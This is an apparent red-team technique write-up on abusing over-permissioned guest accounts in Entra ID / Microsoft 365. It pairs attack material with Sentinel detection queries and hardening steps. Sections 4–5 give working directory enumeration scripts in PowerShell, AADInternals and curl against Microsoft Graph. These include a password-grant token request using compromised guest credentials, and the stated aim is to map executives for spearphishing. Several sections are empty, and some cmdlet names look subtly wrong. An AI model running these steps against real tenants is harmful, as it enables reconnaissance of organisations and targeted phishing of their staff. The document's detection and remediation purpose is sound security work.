MCADDF

[MISCONFIG-015]: Guest User Access Over-Permissioned

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-015
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation / Defense Evasion
Platforms Entra ID / M365
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Entra ID / Microsoft 365 versions
Patched In N/A (Configuration-based, not a code vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.3 Ensure that Guest users are restricted in their ability to enumerate the directory
DISA STIG V-226479 Entra ID must restrict guest user access to directory objects
CISA SCuBA CA-2(2) Guest Access Restrictions – Guests must not see group memberships or user properties
NIST 800-53 AC-3 Access Enforcement – External users must have minimal directory visibility
NIST 800-53 AC-6(10) Least Privilege – Guest accounts must follow stricter access controls than members
GDPR Art. 5(1)(b) Data Integrity and Confidentiality – Limit guest access to “data minimization” principle
DORA Art. 8 Third-Party Risk Management – Guest accounts from external vendors must be restricted
NIS2 Art. 20 Measures to Be Taken – Incident Investigation and Response – Guest account compromise requires immediate isolation
ISO 27001 A.6.2.1 User Registration and De-registration – Guest lifecycle must enforce separation from internal users
ISO 27001 A.9.2.2 User Access Rights – Guest rights must be reviewed and limited regularly
ISO 27005 Risk Scenario “Compromised guest account used for directory enumeration and targeted phishing”

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools (Optional):


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance (as Guest User)

# Connect as guest user
Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All"

# Enumerate all users (only works if guest access is too permissive)
Get-MgUser -Top 999 | Select-Object -Property DisplayName, UserPrincipalName, Mail, JobTitle | Format-Table

# Enumerate all groups (including hidden groups if misconfigured)
Get-MgGroup -All | Select-Object -Property DisplayName, GroupTypes, SecurityEnabled | Format-Table

What to Look For:

Graph API Enumeration (as Guest)

# Using curl to test guest access to Microsoft Graph API
# First, authenticate as guest user and capture access token
TOKEN="<guest_user_access_token>"

# Query to list all users in organization
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users?$select=displayName,jobTitle,department,manager"

# Query to list all mail-enabled groups
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?$filter=mailEnabled%20eq%20true&$select=displayName,owners"

What to Look For:

Check Current Guest Access Restrictions (Admin)

# Connect as Entra ID admin
Connect-MgGraph -Scopes "Policy.Read.All"

# View current guest access level
Get-MgPolicyAuthorizationPolicy | Select-Object -Property GuestUserRoleId

Output Interpretation:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Enumerate Organization via AADInternals (PowerShell)

Supported Versions: Entra ID all versions, AADInternals v0.9.0+

Step 1: Obtain Guest User Credentials

Objective: Compromise or socially engineer a guest account (external email).

Attack Vector:

Step 2: Authenticate as Guest and Enumerate Users

Objective: Use AADInternals to enumerate all users in the tenant.

Script:

# Install AADInternals if not already installed
Install-Module AADInternals -Force

# Connect using guest user credentials
$creds = Get-Credential
Connect-AADInternal -Credentials $creds

# Enumerate users (only works if guest access is permissive)
Get-AADInternal-Users | Select-Object -Property DisplayName, UserPrincipalName, Department | Format-Table

# Output example:
# DisplayName              UserPrincipalName              Department
# John Smith               john.smith@company.com         Finance
# Jane Doe                 jane.doe@company.com           Executive
# CEO Name                 ceo@company.com                C-Suite

Expected Output (If Vulnerable):

[+] Retrieved 542 users from directory:
    - CEO@company.com (Chief Executive Officer, C-Suite)
    - CFO@company.com (Chief Financial Officer, Finance)
    - SecurityAdmin@company.com (Security Architect, IT)
    - DL-Board-Members@company.com (Distribution List)

What This Means:

Step 3: Enumerate Groups and Identify Targets

Objective: Discover high-value groups for lateral movement or privilege escalation.

Script:

# Enumerate all groups
Get-AADInternal-Groups | Select-Object -Property DisplayName, GroupType, SecurityEnabled | Where-Object {$_.SecurityEnabled -eq "true"}

# Enumerate group members (only works if accessible to guest)
Get-AADInternal-GroupMembers -GroupId "<high-value-group-id>" | Select-Object -Property DisplayName, UserPrincipalName

# Example high-value targets:
# - "Global Admins" or "Security Groups"
# - "Board of Directors"
# - "Finance Team" or "HR Team"
# - "Executive Distribution List"

Expected Output (If Vulnerable):

[+] Security Groups accessible to guest:
    - "Finance-Admin" (5 members including CFO)
    - "Board-Management" (12 members including CEO, Board Members)
    - "IT-Infrastructure" (8 members including Security Admin)

Step 4: Identify Manager Relationships and Org Structure

Objective: Map reporting hierarchy to identify privilege escalation paths.

Script:

# Query manager relationships (may be visible in user properties)
Get-AADInternal-Users | Where-Object {$_.Manager} | Select-Object -Property DisplayName, Manager | Format-Table

# Build org chart mapping for social engineering:
# Example output:
# Employee               Manager
# Junior Developer       Development Manager
# Development Manager    Director of Engineering
# Director of Engineering VP Engineering
# VP Engineering         CTO

OpSec & Evasion:

References & Proofs:


METHOD 2: Graph API Enumeration (Linux/REST)

Supported Versions: Entra ID all versions

Step 1: Obtain Guest Access Token

Objective: Authenticate as guest user and obtain Bearer token.

Script (Bash):

TENANT_ID="<target_tenant_id>"
CLIENT_ID="<guest_app_id>"  # Can be any app or device code flow
USERNAME="external_guest@outlook.com"
PASSWORD="<compromised_password>"

# Request token using Resource Owner Password Credentials flow (ROPC)
TOKEN_RESPONSE=$(curl -s -X POST \
  "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "username=$USERNAME" \
  -d "password=$PASSWORD" \
  -d "grant_type=password")

ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
echo "[+] Access token obtained: ${ACCESS_TOKEN:0:50}..."

Step 2: Enumerate Users via Graph API

Objective: Query all users and their properties.

Script (Bash):

# List all users with properties
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName,jobTitle,department,manager" \
  | jq '.value[] | {displayName, userPrincipalName, jobTitle, department}'

# Output example:
# {
#   "displayName": "CEO Name",
#   "userPrincipalName": "ceo@company.com",
#   "jobTitle": "Chief Executive Officer",
#   "department": "C-Suite"
# }

Step 3: Enumerate Groups and Members

Objective: Discover high-value groups.

Script (Bash):

# List all groups
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?$filter=securityEnabled%20eq%20true&$select=displayName,id" \
  | jq '.value[] | {displayName, id}' > /tmp/groups.json

# For each group, enumerate members
while IFS= read -r group_id; do
    GROUP_ID=$(echo $group_id | jq -r '.id')
    GROUP_NAME=$(echo $group_id | jq -r '.displayName')
    
    echo "[+] Group: $GROUP_NAME"
    
    curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
      "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?$select=displayName,userPrincipalName" \
      | jq '.value[] | {displayName, userPrincipalName}'
      
done < /tmp/groups.json

OpSec & Evasion:


6. DETECTION & FORENSIC ARTIFACTS

Indicators of Compromise (IOCs)

Forensic Artifacts


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check current guest access restriction level
Connect-MgGraph -Scopes "Policy.Read.All"

Get-MgPolicyAuthorizationPolicy | Select-Object -Property GuestUserRoleId

Expected Output (If Secure):

GuestUserRoleId
10dae51f-b6af-4016-8d66-8c2a99b929b3  # Most restrictive

8. DETECTION & INCIDENT RESPONSE

Microsoft Sentinel KQL Query

Query 1: Guest User Directory Enumeration via Graph API

let guestAccounts = (
    IdentityInfo
    | where AccountUPN has "@outlook.com" or AccountUPN has "@gmail.com" or AccountUPN has "#EXT#"
    | distinct AccountUPN
);

MicrosoftGraphActivityAudit
| where TimeGenerated > ago(24h)
| where UserAgent contains "Python" or UserAgent contains "curl" or UserAgent contains "PowerShell"
| where RequestUri contains "/users" or RequestUri contains "/groups" or RequestUri contains "/members"
| where tolower(UserPrincipalName) in (guestAccounts)
| summarize QueryCount=count() by UserPrincipalName, RequestUri, TimeGenerated
| where QueryCount > 5

What This Detects:

Query 2: Suspicious Group Member Enumeration

MicrosoftGraphActivityAudit
| where RequestUri matches regex "/groups/.*/members"
| where StatusCode == 200
| where tolower(UserPrincipalName) has "#EXT#"
| summarize EnumeratedGroups=count() by UserPrincipalName, TimeGenerated

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker tricks user into compromising guest account
2 Current Step [MISCONFIG-015] Guest uses over-permissioned access to enumerate directory
3 Reconnaissance [REC-CLOUD-004] AADInternals Enumeration Attacker maps organization structure and identifies targets
4 Privilege Escalation [IA-PHISH-005] Internal Spearphishing Attacker targets high-value users (CEO, CFO) with tailored phishing

10. REAL-WORLD EXAMPLES

Example 1: Mandiant APT1 – Guest Account Reconnaissance (2021)

Example 2: M365 Default Misconfiguration (Widespread)


11. REMEDIATION CHECKLIST


12. ADDITIONAL NOTES